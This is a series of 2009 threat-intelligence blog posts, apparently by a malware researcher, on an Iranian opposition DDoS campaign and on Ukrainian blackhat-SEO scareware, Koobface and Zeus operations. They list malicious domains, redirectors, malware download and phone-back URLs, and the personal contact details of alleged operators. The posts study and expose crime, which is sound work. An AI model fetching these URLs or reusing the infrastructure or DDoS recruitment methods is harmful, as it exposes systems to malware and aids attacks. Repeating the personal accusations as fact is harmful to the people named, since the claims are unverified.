Iranian Opposition DDoS-es pro-Ahmadinejad Sites

0
June 16, 2009
By utilizing the people's information warfare concept, Iranian opposition has managed to successfully organize a cyber attack against Tehran's regime (complete analysis) by using Twitter, web forums, and localization (translation) of the recruitment messages in order to seek assistance from foreigners.

So far, their rather simplistic denial of service tools has managed to disrupt access to key government web sites, and the intensity of the attacks is prone to increase since the opposition appears to be in a "learning mode".

What does "learning mode" stand for here? It's their current stage of experimentation clearly indicating their inexperience with such campaigns and DDoS attacks in general. The opposition's de-centralized chain of command isn't even speculating on the use of botnets, since the primitive multi-threaded Iranian connections hitting Iranian sites seems to achieve their effect.

From a strategic perspective, this internal unrest resulting in the disruption of key government web sites, the de-facto propaganda vehicles of the current government, is directly denying their ability to influence the population and the media, which on its way to find information is inevitably going to visit the working opposition web sites.

Moreover, the majority of people's information warfare driven cyber attacks we've seen during the past two years, have all been orbiting around the scenario where a foreign adversary is attacking your infrastructure from all over the world. But in the current situation, it's Iran's internal network that's self-eating itself, where the trade off for denying all the traffic would be the traffic which could be potentially influenced through PSYOPs (psychological operations).

What has changed since yesterday's real-time OSINT analysis?  The web based "Page Rebooter" tool heavily advertised by the opposition has decided to stop offering the service due to the massive abuse:

"Unfortunately I have had to take the site down temporarily. The site was being used to attack other websites, until I can determine the source of these attacks, I have decided to keep it offline. My apologies to everyone who uses this site for it's intended purpose, hopefully we'll be back soon. I have now received several emails regarding this. Unfortunately, last night's spike in traffic cost me a lot of money in server costs, I therefore cannot afford to keep it online - even if the use is just. I have therefore decided to release the code for this site, so that you may create your own copies."

Meanwhile, the opposition has come up with a segmented targets list including hardline news portals, official Ahmadinejad sites, Iranian law enforcement sites, banks, judiciary and transportation sites, aiming to recruit international supporters:

"ALL PEOPLE AROUND THE WORLD:

Please help us in a full-scale cyberwar againts the dictatorial brutal government of Ahmadinjead! Help Iranians to earn back their votes per instructions below:
 

Simply click on few of the following links (better too choose your selections from different categories); it opens the site in a new tab. It will not stop you from browsing but by sending a refresh signal to the target site will saturate it. By doing so, we can block Ahmadinjead's governments flow of information in many of its key components as shown below. Please help us and yourself from this lunatic who will push the world to world war III."

Following the updated list of targets, a new LOIC.exe DoS tool is being advertised. The tool is however, anything but sophisticated (it's been around since 6 Jul 2008) compared to even the average Russian DDoS bot. Combined, the simplistic nature of the opposition's attack tools indicates the lack of any in-depth understanding of information warfare principles, in times when other countries are already going beyond cyber warfare and aiming for the unrestricted warfare stage.


The Conspiracy Theory and the Facts
How is the Iranian government/regime responding to these attacks, is it striking back to the fullest extend speculated in a countless number of cyber warfare research papers? Moreover, can it actually attack the "adversaries" which in this case reside within the country's own network? Can we easily compare this unpleasant situation from an information warfare perspective to the ongoing discussions whether or not the Should the US Go Offensive In Cyberwarfare?, and "go offensive" against who at the first place? The hundreds of thousands of U.S based malware infected hosts operated by a foreign entity as the adversary while using the targeted country's infrastructure as a human shield?

That's a dilemma that Iran's government is currently facing, but let's connect the dots and prove that the Fars News Agency which is pro-Ahmadinejad, and maintains ties to the Iranian judiciary, has in fact participated in this "cyber warfare attack with sticks and stones".

The Fars News Agency has been under attack since the beginning of the campaign, approximately 48 hours ago, prompting the site -- just like many others -- to switch to "lite" versions taking into consideration the ongoing attacks wasting the sites' bandwidth.

In a desperate attempt to influence the outcome of the DDoS attack, Fars News included iFrames pointing to opposition and anti-Ahmadinejad news sites (balatarin.com; ghalamnews.com and mirhussein.com) in order to redirect some of the attack traffic to them. The campaigners noticed the change, but upon confirming that the opposition's web sites remain online even with the iFrames in place, decided to continue the attack.

The bottom line - when your very own infrastructure hates you, you become nothing else but an observer to the declining propaganda exposure projections that you've once set, failing to anticipate the fully realistic scenario when the adversary that you've been fortifying to protect from, or have build sophisticated offensive capabilities to deal with, is in fact residing within your own infrastructure. Attempting to attack him or shut him down will only multiply the effect of his original campaign.

The net is vast and infinite.

Recommended reading:
A CCDCOE Report on the Cyber Attacks Against Georgia
DDoS Attack Graphs from Russia vs Georgia's Cyberattacks
The Russia vs Georgia Cyber Attack
Pro-Israeli (Pseudo) Cyber Warriors Want your Bandwidth
People's Information Warfare Concept
Combating Unrestricted Warfare
The Cyber Storm II Cyber Exercise
Chinese Hacktivists Waging People's Information Warfare Against CNN
The DDoS Attacks Against CNN.com
China's Cyber Espionage Ambitions
North Korea's Cyber Warfare Unit 121
Chinese Hackers Attacking U.S Department of Defense Networks
Electronic Jihad v3.0 - What Cyber Jihad Isn't
Continue reading →

From Ukrainian Blackhat SEO Gang With Love - Part Two

0
June 09, 2009
It seems that the portfolio of redirectors using my name part of an ongoing Ukrainian blackhat SEO is expanding, with seximalinki .ru/images/ddanchev-sock-my-dick.php, as the latest addition. This brings up the number of redirectors to three, at least for the time being:
  • seximalinki.ru/images/ddanchev-sock-my-dick.php - active - 74.54.176.50; Email: Hippacmc@land.ru
  • seo.hostia .ru/ddanchev-sock-my-dick.php - active - 213.155.2.37
  • HiDancho.mine .nu/login.js - active - 64.21.86.16
Let's dissect the latest campaigns, including several related ones not necessarily serving scareware, moreover, let's also establish a connection between this gang and the ongoing hijacking of Twitter trending topics for malware serving purposes, shall we?

The redirector takes the user to antimalwareonlinescannerv3 .com - 83.133.115.9; 91.212.65.125; 69.4.230.204 - Email: immigration.beijing@footer.cn where the scareware is served.

The campaign is also relying on three more scareware domains antimalware-live-scanv3 .com; antimalwareliveproscanv3 .com ;fastsecurityupdateserver .com, with ns1.futureselfdeeds .com ensuring that the rest of the portfolio remains in tact :

premiumlivescanv1 .com
advanedmalwarescanner .com

advanedpromalwarescanner .com
antiviruspcscannerv1 .com
antiviruspremiumscanv2 .com
malware-live-pro-scanv1 .com
malwareliveproscanv1 .com
malwareliveproscannerv1 .com
malwareinternetscannerv1 .com
anti-spyware-scan-v1 .com
antimalwarescanner-v2 .com
freeantispywarescan2 .com
antivirus-scanner-v1 .com
internetotherwise .com
macrosoftwarego .com
world-payment-system .com

paymentonlinesystem .com
livewwwupdates .com
liveinternetupdates .com
livesecurityupdate .com
securitysoftwarepayments .com
antiviruspaymentsystem .com
systemsecurityupdates .com
networksecurityadvice .com
systeminternetupdates .com
protectionsystemupdates .com
updateinternetserver2 .com
protectionupdates2 .com
proantivirusscannerv2 .com
proantivirusscanv2 .com
powerantivirusscanv2 .com


These blackhat SEO-ers have been actively multitasking during the past couple of months. For instance, another campaign maintained by them at Lycos Tripod's is-the-boss.com is using the redirector ntlligent .info/tds/in.cgi?11&seoref=&parameter=$keyword&se=$se&ur=1&HTTP_REFERER= (72.232.163.171), hosted by Layered Technologies, Inc., in order to serve a a Koobface sample located at 91.212.65.35/view/1/1416/0, which upon execution phones back to upr15may .com/achcheck.php; upr15may .com/ld/gen.php (119.110.107.137) as well as to i-site .ph/1/6244.exe; i-site .ph/1/nfr.exe with the second binary phoning back to 85.13.236 .154/v50/?v=71&s=I&uid=1824245000&p=14160&ip=&q=.

Another campaign maintained by them at is-the-boss.com is using three redirectors kurinah.freehostia .com/in.cgi?8&seoref=&parameter=$keyword&se=&ur=1&HTTP_REFERER=; promodomain .info/in.cgi?8&seoref=&parameter=$keyword&se=&ur=1&HTTP_REFERER= - 66.40.52.63 - Email: support@ruler-domains.com and thetrafficcontrol .net/in.cgi?8&seoref=&parameter=$keyword&se=&ur=1&HTTP_REFERER=, until the user is finally redirected to a fake PornTube portal big-tube-list .com/teens/xmovie.php?id=45048 - 216.240.143.7 - isaacdonn@gmail.com where malware is served from my-exe-profile .com/streamviewer.45048.exe - 66.197.171.6 - Email: michalevd@gmail.com.

Upon execution, streamviewer phones back to reportsystem32 .com/senm.php?data= - 216.240.146.119 -, terradataweb .com/senm.php?data=v22 - 66.199.229.229 -, and dvdisorapid .com/senm.php?data=v22 - 64.27.5.202.

Several related fake codec serving domains parked at 216.240.143.7 are also currently active:
get-mega-tube .com - Email: raymgnw95@gmail.com
best-crystal-tube .com - Email: raymgnw95@gmail.com
the-lost-tube .com - Email: hilachow@gmail.com
sunny-tube-house .com - Email: hilachow@gmail.com
proper-tube-site .com - Email: hilachow@gmail.com
tube-xxx-work .com - Email: hilachow@gmail.com
big-tube-list .com - Email: isaacdonn@gmail.com

A third campaign is using a single redirector to tangoing .info/cgi-bin/analytics?id=917304&k= - 91.207.61.48 - Email: dophshli@gmail.com to dynamically redirect visitors to pretty much all the scareware domains listed in part twenty one of the diverse portfolio of fake security software series. Moreover, the very same email used to register the redirecting domain was also used to register a payment processing gateway for scareware transactions in January, 2009.

Yet another blackhat SEO operation maintained by the same group since February, 2009 is fi97 .net/jsr.php?uid=dir&group=ggl&keyword=&okw=&query="+query+" referer="+escape(document.referrer)+"&href="+escape(location.href)+"&r="+rzz+"'><"+"/scr"+"ipt>", which according to publicly obtainable statistics received approximately 138, 000 unique visitors in April, with 30.23% coming from Google.

The traffic hijacking of for the purpose of serving malware, using over a hundred different .us domains was in fact so successful that several webmasters reported loosing their organic search traffic due to the content within the sites. The campaign then switched to a pharmaceutical theme using a Google search engine theme, with several static links to pharma scams, once again using the already established traffic redirections tactics.

The redirectors in question petrenko .biz - 88.214.200.150 - Email: olegoff@yandex.ru and myseobiz .net - 67.225.158.16 - Email: 3bd864dddbe4421ab1112a6ebc6df4fb.protect@whoisguard.com remain in operation. The bogus Google front page is advertising the following pharma domains:

theusdrugs .com - 78.140.132.11, parked at the same IP are also more pharma domains:
medscompany .org
canadian-rxpill .com
bestyourpills .com
rx-drugs-support .com
payment-rx .com
genericdrugs .in

mendrugsshop .com
healthrefill .com

It gets even more inter-connected and malicious since this very same gang is also the one responsible for the ongoing malware campaign spreading scareware by using Twitter's trending topics. Let's establish a direct connection between the Ukrainian gang and the campaign.

The TinyURL links used redirect to an identical domain - 00freewebhost .cn - 211.95.79.115 - Email: louisgreenfield@gmail.com, where an iFrame is loading happy-tube-video .com/xplays.php?id=40030 - 216.240.143.7 - Email: isaacdonn@gmail.com where Mal/FakeAV-AY (streamviewer.40030.exe) is served, this time from exe-soft-files .com/streamviewer.40030.exe - 66.197.171.6 - Email: michalevd@gmail.com.

This very same domain (happy-tube-video .com registered to isaacdonn@gmail.com) is part of the second PornTube fake codec campaign which I assessed above, this time pushed through the gang's blackhat SEO campaigns.

Moreover, in a typical cybercrime-friendly style, the main malicious domain operated by the gang and used in the Twitter campaign - 00freewebhost .cn - continues to load the malware serving domain despite that it's main index is serving a fake account suspended notice - "This Account Has Been Suspended, This includes, but is not limited to overusing server resources, publishing adult content, or unauthorized posting of copyrighted material. Please contact our Support Team for more information." Which is pretty amusing, since despite the fact that they're using an iFrame to point to a different location, they've left an animated GIF image of a fake codec hosted there - 00freewebhost .cn/shmo/pl.gif.

A second connection between the Ukraininan black SEO gang, Twitter's ongoing campaign and the fake web hosting provider which I profiled yesterday can also be made.

For instance, the URL shortening service used in last week's campaign at Twitter a.gd/2524d9/ redirects to 66.199.229 .253/etds/go.php?sid=43 and then to av-guard .net/?uid=27&pid=3 as well as to fast-antivirus .com which are the scareware domains exposed in the recent "Fake Web Hosting Provider - Front-end to Scareware Blackhat SEO Campaign at Blogspot" post. The scareware obtained from it, as well as the scareware from the above-exposed PornTube campaign streamviewer.40030.exe also share the same phone back locations.

Coming across yet another operation managed by them, namely, the ongoing Twitter trending topics hijacking attack, clearly demonstrates the impact this single group of individuals can have while multitasking at different fronts. And despite the numerous traffic acquisition tactics used, the monetization approach remains virtually the same - scareware. Continue reading →

GazTransitStroy/GazTranZitStroy Rubbing Shoulders with Petersburg Internet Network LLC

0
June 08, 2009

Following the GazTransitStroy/GazTranZitStroy (gaztranzitstroyinfo.ru; 67.15.253.241) coverage, the gang behind the bogus gas company drilling for insecure PCs across the Web has returned to its roots - St. Petersburg, Russia, with routing services courtesy of PIN-AS Petersburg Internet Network LLC (AS44050) (internet-spb.ru) :

"descr: Petersburg Internet Network LLC
address: Sedova 80
address: St.-Petersburg, Russia
e-mail:         support@internet-spb.ru
phone:          +7 812 4483863
fax-no:         +7 812 4483863
person:         Metluk Nikolay Valeryevich
address:        korp. 1a 40 Slavy ave.,
address:        St.-Petersburg, Russia
e-mail:         nm@internet-spb.ru
phone:          +7 812 4483863
fax-no:         +7 812 2683113
PIN LLC
Sedova 80
+7 812 4483863
support@internet-spb.ru
 

Metluk Nikolay Valeryevich
korp. 1a 40 Slavy ave.,
St.-Petersburg, Russia
+7 812 4483863
nm@internet-spb.ru

Ladoha Anton Vladimirovich
korp. 1a 40 Slavy ave.,
St. Petersburg, Russia
+7 812 4483863
admin@internet-spb.ru

Strukov Evgeny Olegovich
korp. 1a 40 Slavy ave.,
St.-Petersburg, Russia
+7 812 4483863
admin2@internet-spb.ru
e.strukov@pinspb.ru

Prefixes 91.212.41.0/24; 95.215.0.0/22; 194.11.16.0/24; 194.11.20.0/23; 195.2.240.0/23
"

What's also worth pointing out that is a huge number of of domains operated by GazTransitStroy's customers, and, of course, GazTranzitStroy themselves not only traceroute back to Petersburg Internet Network LLC's network, but also, there's an evident migration to the legitimate NETDIRECT-NET - 89.149.206.0 - 89.149.207.255 - AS2875, as well as to CHINANET-SH CHINANET shanghai province network - 222.64.0.0 - 222.73.255.255.

Combined with the fact that EUROHOST-NET/Eurohost LLC (eurohost.biz.ua) 91.212.65.0 - 91.212.65.255 - AS48841 remain an inseparable part of GazTransitStroy's info, clearly indicates the presence of a well known cybercrime powerhouse - the RBN itself.

The following domains (crimeware, live exploits, scareware, you name it they engage in it) maintained by GazTranzitStroy have migrated as follows. From 91.212.41.96 to CHINANET-SH CHINANET shanghai province network - 222.64.0.0 - 222.73.255.255:

loshadinet .com
roselambda .cn
use-sena .cn
peopleopera .cn
forexsec .cn
symphonygold .cn
dreamlitediamond .cn
vilihood .cn
bookadorable .cn
drawingstyle .cn
housedomainname .cn
roomsme .cn
vilasse .cn
workfuse .cn
stakeshouse .cn
financeimprove .cn
lifenaming .cn
travetbeach .cn
schoolh .cn
rainfinish .cn
housevisual .cn
kvk.housevisual .cn
xfln.housevisual .cn
worksean .cn
blogtransaction .cn
liteauction .cn
seamodern .cn
smilecasino .cn
newtransfer .cn
oceandealer .cn
pub.oceandealer .cn
musicdomainer .cn
wowregister .cn
websiteflower .cn
travets .cn
designroots .cn
teamwows .cn
startgetaways .cn
moulitehat .cn
caxf.moulitehat .cn
islandtravet .cn
weekendtravet .cn
resorttravet .cn

litefront .cn
palaceyou .cn
youbonusnew .cn
clubmillionswow .cn
rainjukebox .cn
xuyxuyxuy .cn

From 91.212.41.114 to NETDIRECT-NET - 89.149.206.0 - 89.149.207.255 - AS28753, interestingly, the DNS servers for the following domains ns1.pubilcnameserver7.com/ns1.pubilcnameserver7.com are diversifying at 89.149.207.56 and 91.212.41.114:

freeantivirusplus09 .com
realantivirusplus09 .com
getantivirusplus09 .com
smartantivirusplus09 .com
addedantivirusonline .com
addedantivirusstore .com
addedantiviruslive .com
addedantiviruspro .com
countedantiviruspro .com
plusantiviruspro .com
myplusantiviruspro .com
addedantivirus .com
youraddedantivirus .com
bestaddedantivirus .com
easyaddedantivirus .com
yourcountedantivirus .com
bestcountedantivirus .com
yourplusantivirus .com
easyplusantivirus .com
yourguardonline .cn
easydefenseonline .cn
bestprotectiononline .cn
freecoveronline .cn
atioqe .cn
yourguardstore .cn
mycheckdiseasestore .cn
examinepoisonstore .cn
freecoverstore .cn
myexaminevirusstore .cn
bestexaminedisease .cn
yourfriskdisease .cn
easyfriskdisease .cn
friskdiseaselive .cn
bestdefenselive .cn
bigprotectionlive .cn
bigcoverlive .cn
examineillnesslive .cn
exodih .cn
suxpymi .cn
aciazi .cn
yourfriskinfection .cn
easyserviceprotection .cn
easyincomeprotection .cn
easypersonalprotection .cn
easybestprotection .cn
myascertainpoison .cn
yourguardpro .cn
refugepro .cn
mycheckdiseasepro .cn
ascertaindiseasepro .cn
yourcheckpoisonpro .cn
easycheckpoisonpro .cn
yourfriskviruspro .cn
myascertainviruspro .cn
fegbywo .cn
feptuaq .cn
myexamineillness .cn
exousyt .cn
newguard2u .cn
freedefense2u .cn
bigdefense2u .cn
bestcover2u .cn
newguard4u .cn
mydefense4u .cn
bestcover4u .cn
newguard4you .cn
mydefense4you .cn
bestcover4you .cn
yourguardforyou .cn
newguardforyou .cn
myguardforyou .cn
freedefenseforyou .cn
mydefenseforyou .cn
bestcoverforyou .cn


The ongoing affiliation with EUROHOST-NET/Eurohost LLC (eurohost.biz.ua) 91.212.65.0 - 91.212.65.255 - AS48841, and the migration of domains (scareware, live exploits, crimeware etc.) as follows. From 91.212.41.119 to 91.212.65.7 EUROHOST-NET/Eurohost LLC:

nicdaheb .cn
sehmadac .cn
ralcofic .cn
bikpakoc .cn
xidsasuc .cn
koqsuyod .cn
tozxiqud .cn
bowselaf .cn
cuzlumif .cn
porgacig .cn
hifgejig .cn
rogkadej .cn
sipcojeq .cn
silzefos .cn
popyodiw .cn
hayboxiw .cn
peskufex .cn
ridmoyey .cn
cakpapaz .cn


What kind of an ISP be maintaining a permanent Under Construction page and engage in Zeus and live exploit serving activities on the same IP as its web server? EUROHOST-NET/Eurohost LLC is one of them:

"person: Mikhail Ignatyev
address: off. 1, 81 Frunze str.,
phone: +38 093 079 00 32
address: Evpatoria, Crimea, Ukraine
e-mail: ipadmin@eurohost.biz.ua
"

At eurohost.biz.ua (91.212.65.5) we also have parked 123-service.ru, serving a deja-vu account suspended message - "This account has been suspended. Either the domain has been overused, or the reseller ran out of resources." as well as ramshanabc.ru, with another account suspended message despite its previous involvement in Zeus crimeware campaigns in January, 2009 (ramshanabc .ru/ferrari/main.bin; ramshanabc .ru/ferrari/main.bin).

Besides these domains, several others, again registered to kirilboltovnet@yandex.ru are known to have been maintaining running Zeus crimeware campaigns as well:

grafjasqq .ru/kiew/kiew.cfg
heliskamm .ru/kiew5.cfg
mamaloki .ru/dir2.cfg489
mamaloki .ru/kiew3.cfg
nionalku .ru/dir5.cfg
nionalku .ru/kiew6.cfg


Still not convinced in how malicious their intentions really are? The phone number (+7 928 7867612) used in the registrations of these domains was most recently used in a spammed Zeus crimeware campaign impersonating Western Union. Continue reading →

Fake Web Hosting Provider - Front-end to Scareware Blackhat SEO Campaign at Blogspot

0
June 08, 2009
Just like GazTranzitStroyInfo's case, what we've got here is failure to understand that the efforts put into building legitimacy of front-ends to cybercrime, is prone to get undermined upon closer examination of the particular web hosting provider.

Who, and what is Life4you .info - Free Hosting for Live (dirsite .com; 65.98.15.80; Dennis Linkor Email: admin@dirsite.com)?

"We are pleased to announce the launch of dirsite.com, the best ASP.NET host on the web. We currently offer one plan. This plan is entirely free! Free ASP.NET 2.0 hosting*! Unfortunately we have hit our quota for ad free accounts. Every new signup is now required to display a 460x60 banner ad on their content pages. We will be running another ad free promotion soon, so be sure to check back! We are currently experiencing some technical issues that are out of our control. We are suffering some server problems and as a result, slight delays in processing signups. We are working on it, and will have everything resolved as soon as possible. Thank you for your patience."

What's so special about them? Well, for starters, they've got no customers but the cybercriminals themselves maintaining a portfolio of over 7,000 adult related keywords which they have been using for blackhat SEO campaigns across thousands of automatically registered -- CAPTCHA recognition outsourced -- Blogspot accounts since February, 2009.

With the Blogspot campaign still ongoing, let's assess it and expose all the participating scareware domains. Upon automatic generation of the Blogspot accounts, links like the following are included next to the bogus content, all using dirsite.com's pseudo-legitimate hosting services:

goto.dirsite .com/go.php?sid=2&tds-key=erotic+bikini+babes
goto.dirsite .com/go.php?sid=2&tds-key=sexe+amateur+on+my+space
goto.dirsite .com/go.php?sid=2&tds-key=aunt+judy+older+women
goto.dirsite .com/go.php?sid=2&tds-key=view+private+profiles+on+myspace
goto.dirsite .com/go.php?sid=2&tds-key=fullmetal+alchemist+porn
goto.dirsite .com/go.php?sid=2&tds-key=Asian+style+bed+throws
goto.dirsite .com/go.php?sid=2&tds-key=cheerleader+candid+pictures

goto.dirsite .com/go.php?sid=2&tds-key=desisexstories
goto.dirsite .com/go.php?sid=2&tds-key=Hey+Arnold+porno
goto.dirsite .com/go.php?sid=2&tds-key=warcraft+henrai

Upon clicking the users are redirected to tdncgo2009 .com/?uid=68&pid=3 (trdatasft .com; fra22 .net; Email: ) 64.86.17.47, Email: hmlragnsky@whoisservices.cn, where the scareware domains are randomly loaded:

virusdoctor-onlinedefender .com - 64.213.140.69 Email: sebarinvert.ivus@gmail.com
onlinescan-ultraantivirus2009 .com - 206.53.61.76
virussweeper-scan .net - 206.53.61.76
virusalarm-scanvirus .net - 206.53.61.76
viruscatcher .net - 64.213.140.71 Email: jeannemcpeters@gmail.com
fast-antivirus .com - 64.213.140.68

The scareware attempts to phone back to update1.virusshieldpro .com/ReleaseXP.exe - 206.53.61.75 - Email: unitedisystems@gmail.com and to updvmfnow .cn - 64.86.17.9 Email: oijfsd.sd@gmail.com. ReleaseXP.exe then phones back to the following locations, naturally earning profit for the cybecriminal -

pay-virusshield .cn - 64.213.140.70; Email: unitedisystems@gmail.com; Returning the following message: "Sorry, the operation is currently unavailable, please email our support team from product's site (Error Code #150)"
updvmfnow .cn - 64.86.17.9
updvmfnow .cn/reports/install-report.php (64.86.17.9)
updvmfnow .cn/reports/soft-report.php
updvmfnow .cn/reports/minstalls.php

The phone back location is also hosting more active scarewaredomains:
ultraantivirus2009 .com - 64.86.17.9
virusalarmpro .com
vmfastscanner .com
mysuperviser .com
pay-virusdoctor .com
virusmelt .com
payvirusmelt .com


Not only is life4info .info or dirsite .com a bogus free hosting provider, but the campaigns hosted by them are interacting with our "dear friends" at AS30407; VELCOM .com which Spamhaus describes as "N. American base of Ukrainian cybercrime spammers" - and with a reason. Continue reading →

A Diverse Portfolio of Fake Security Software - Part Twenty One

0
June 05, 2009
The ongoing abuse of AS10929; NETELLIGENT Hosting Services Inc. for scareware distribution purposes is peaking once again, which combined with the well-proven traffic acquisition tactics the campaigners take advantage of, prompts me to proactively undermine the effectiveness of the campaigns by ruining the monetization factor.

Next to listing the scareware domains currently in circulation, in part twenty one of the Diverse Portfolio of Fake Security Software series, it's time we put the spotlight on the so called payment processors mainted by phony in-house operations.

The following scareware domains are parked exclusively within AS10929; NETELLIGENT Hosting Services Inc's network, 209.44.126.102  in particular :

fanscan4 .com 209.44.126.102 Email: brmargul@gmail.com
rayscan4 .com Email: brmargul@gmail.com
scantop4 .com Email: ansouthe@gmail.com
scanlist6 .com Email: metamant@gmail.com
goscanfine .com Email: chirelqas@gmail.com
goscanone .com Email: canrcnad@gmail.com
scan4note .com Email: ansouthe@gmail.com
in4ck .com Email: taboussybr@gmail.com
goscanwork .com Email: govemati@gmail.com
in4tk .com Email: skeltonrw@gmail.com
goscanatom .com Email: gleyersth@gmail.com
top4scan .com  Email: ansouthe@gmail.com
slot6scan .com  Email: metamant@gmail.com
gometascan .com  Email: ricboin@gmail.com
gopagescan .com Email: tanehen@gmail.com
gofinescan .com Email: alcnafuch@gmail.com
goelitescan .com Email: funully@gmail.com
gorankscan .com Email: canrcnad@gmail.com
goworkscan .com Email: govemati@gmail.com
gogoalscan .com Email: chinrfi@gmail.com
gogenscan .com  Email: tanehen@gmail.com
goautoscan .com Email: tanehen@gmail.com
goflexscan .com Email: alcnafuch@gmail.com
goscanauto .com Email: canrcnad@gmail.com
scan6slot .com  Emaik: telerdomb@gmail.com
in4st .com Email: skeltonrw@gmail.com
scan6list .com Email: telerdomb@gmail.com
goscanflex .com Email: chirelqas@gmail.com

goscankey .com Email: ricboin@gmail.com
scanmeta4 .info Email: sitintu@gmail.com
scannote4 .info Email: sitintu@gmail.com
metascan4 .info Email: finewnrk@gmail.com
zonescan4 .info Email: mexnacc@gmail.com
notescan4 .info Email: finewnrk@gmail.com
miniscan4 .info Email: finewnrk@gmail.com
rankscan4 .info Email: mexnacc@gmail.com
atomscan4 .info Email: finewnrk@gmail.com
fanscan4 .info Email: finewnrk@gmail.com
genscan4 .info Email: finewnrk@gmail.com
autoscan4 .info Email: sitintu@gmail.com
topscan4 .info Email: finewnrk@gmail.com
starscan4 .info Email: finewnrk@gmail.com
fixscan4 .info Email: sitintu@gmail.com
mixscan4 .info Email: finewnrk@gmail.com
luxscan4 .info Email: finewnrk@gmail.com
rayscan4 .info Email: finewnrk@gmail.com
keyscan4 .info Email: sitintu@gmail.com
scangen4 .info Email: sitintu@gmail.com
scanauto4 .info Email: mexnacc@gmail.com

scantop4 .info Email: finewnrk@gmail.com
scanflex4 .info Email: mexnacc@gmail.com
scan4meta .info Email: finewnrk@gmail.com
scan6meta .info Email: donboset@gmail.com
scan4fine .info Email: mexnacc@gmail.com
meta4scan .info Email: finewnrk@gmail.com
note4scan .info Email: finewnrk@gmail.com
gen4scan .info Email: finewnrk@gmail.com
flex4scan .info Email: mexnacc@gmail.com
fix4scan .info Email: sitintu@gmail.com
key4scan .info Email: mexnacc@gmail.com
meta6scan .info Email: donboset@gmail.com
note6scan .info Email: donboset@gmail.com
scan4gen .info Email: finewnrk@gmail.com
scan6gen .info Email: donboset@gmail.com
scan4auto .info Email: sitintu@gmail.com
scan4top .info Email: finewnrk@gmail.com
scan4fix .info Email: sitintu@gmail.com
scan4key .info Email: sitintu@gmail.com
fine4scan .info Email: beelriel@gmail.com
scanmega4 .info Email: bnntnkmn@gmail.com
zonescan4 .info Email: mexnacc@gmail.com
rankscan4 .info Email: mexnacc@gmail.com
scanauto4 .info Email: mexnacc@gmail.com
scan4fine .info Email: mexnacc@gmail.com
way4scan .info Email: bnntnkmn@gmail.com
key4scan .info Email: mexnacc@gmail.com
scan4fan .info Email: myscarbe@gmail.com

Exceptions out of  AS10929; NETELLIGENT Hosting Services Inc.:

ia-pro .com - 194.165.4.41; 200.63.45.224; 209.44.126.104; 200.63.45.224 Email: abuse@domaincp.net.cn
generalantivirus .com Email: compalso@gmail.com
genpayment .com Email: seeingrud@gmail.com
livestopbadware .com Email: producergrom@gmail.com
av-payment .com Email: abuse@domaincp.net.cn
antimalware-live-scanv3 .com - 38.99.170.9; 78.47.91.153; 83.133.115.9; 89.47.237.52;91.212.65.125; Email: immigration.beijing@footer.cn
antivirus-scanner-v1 .com Email: tareen@yahoo.com
proantivirusscannerv2 .com Email: ecindia@hotmail.com

Who's processing the payments made by the scammed customers? These are the major payment processors of scareware software that have been changing aliases for a while now, with Pandora Software being the most persistent one:

easybillhere .com - 200.63.45.221; Email: myerysin@gmail.com
secure.softwaresecuredbilling .com - 209.8.45.122; Viktor Temchenko Email: TemchenkoViktor@googlemail.com
secure.propayments .org - 78.46.152.8; Oleg Bajenov Email: oleg.bajenov@gmail.com
secure.soft-transaction .com - 77.91.228.155; Riabokon, Igor; rw6rr69n7z2@networksolutionsprivateregistration.com
secure-plus-payments .com - 209.8.25.204; John Sparck; Email: sparck000@mail.com
secure.pnm-software .com - 209.8.45.124; Live Internet Marketing Limited; pnm-software.com@liveinternetmarketingltd.com
secure.thepaymentonline .com Email: Sergey Ryabov director@climbing-games.com

What is Pandoware Software, and who's behind Pandora Software (pandora-software .com; pandora-software .info; pandoraxxl .com - 209.8.45.121; Live Internet Marketing Limited; Email: pandoraxxl.com@liveinternetmarketingltd.com)?

The payment processor describes itself as :

"PandoraXXL is a company which provides the best adult entertainment online and is the managing company of the adult websites of the group. The concept itself is the carefull creation of websites which are different from the average vanilla adult production. We create them, we run them and we provide customer care to our customers!If You are a customer and would like to know more about our websites please click on Our Websites above. PandoraXXL.com and all sites which listed on PandoraXXL.com owned by Oleg Dvoretskiy Varzinerstr. 127, 44369 Dortmund, Germany"

Upon "doing business" with them they include their very latest domain within the the credit card statement:

"Your credit card statement may show any of the following names: WWW.PANDORAXXL.COM If so , than You have made a purchase on one of our websites! This form on the right will help You to locate these transactions! Absolutely sure You have never ever purchased anything with us? Contact us immediately then! Due to our knowledge we are one of a VERY few adult paysites companies out there providing INHOUSE live support along with telephone support. Please call only when You are sure that this site was not ab to help You with Your transactions. You may call with technical questions as well but You must read all our site's FAQs first."

Going through the terms of service for several scareware domains, there's a contact support image saying "Copyright 2008 Oleg Dvorezky, Dortmund, Germany". Why an image and not a text? Cybercriminals sometimes ensure that sensitive info potentially undermining their OPSEC doesn't get crawled by public search engines. It's gets even more interesting as Oleg Dvorezky, whose activities as payment processor for scareware go beyond the support desk has also included his address - Varzinerstr. 127. 44369 Dortmund, Germany and another phone, again as an image +1(636)549-8103, followed by two more numbers +18669997851 (USA) +33179972633 (France) listed as contact details.

Moreover, despite the fact that they've active affiliates distribution scareware and earning money in the process, next to managing the processing of payments, one should not exclude the possibility that they may also be engaging in customer relationship management for other scareware affiliate partners. For instance, the following support emails are all managed by them :

support@supportdeska.com
support@msantispyware2009.com
support@pandora-software.com
support@pandoraxl.com
support@data-saver.org
support@generalantivirus.com


Fo the time being, scareware remains the single most efficient, managed and high liquidity asset used for monetization cybercrime campaigns. Continue reading →

From Ukrainian Blackhat SEO Gang With Love

0
June 04, 2009
UPDATE: My name is now an integral part of the scareware business model.

Yet another redirector used in the ongoing blackhat SEO campaign is using it, this time saying just "hi" - hidancho.mine .nu/login.js redirects to privateaolemail .cn/go.php?id=2010-10&key=b8c7c33ca&p=1 and then to antimalwareliveproscanv3 .com where the scareware is served -- catch up with the Diverse Portfolio of Fake Security Software series.

What's next? The release of Advanced Pro-Danchev Premium Live Mega Professional Anti-Spyware Online Cleaning Scanner 2010?

You know you have a fan club, as well as positive ROI out of your research, when one of the most active blackhat SEO groups for the time being starts cursing you in its multiple redirectors, in this particular case that's seo.hostia .ru/ddanchev-sock-my-dick.php.

Back in 2007, it used to be the polite form of get lost or "ai siktir vee" courtesy of the New Media Malware Gang, a customer of the Russian Business Network.

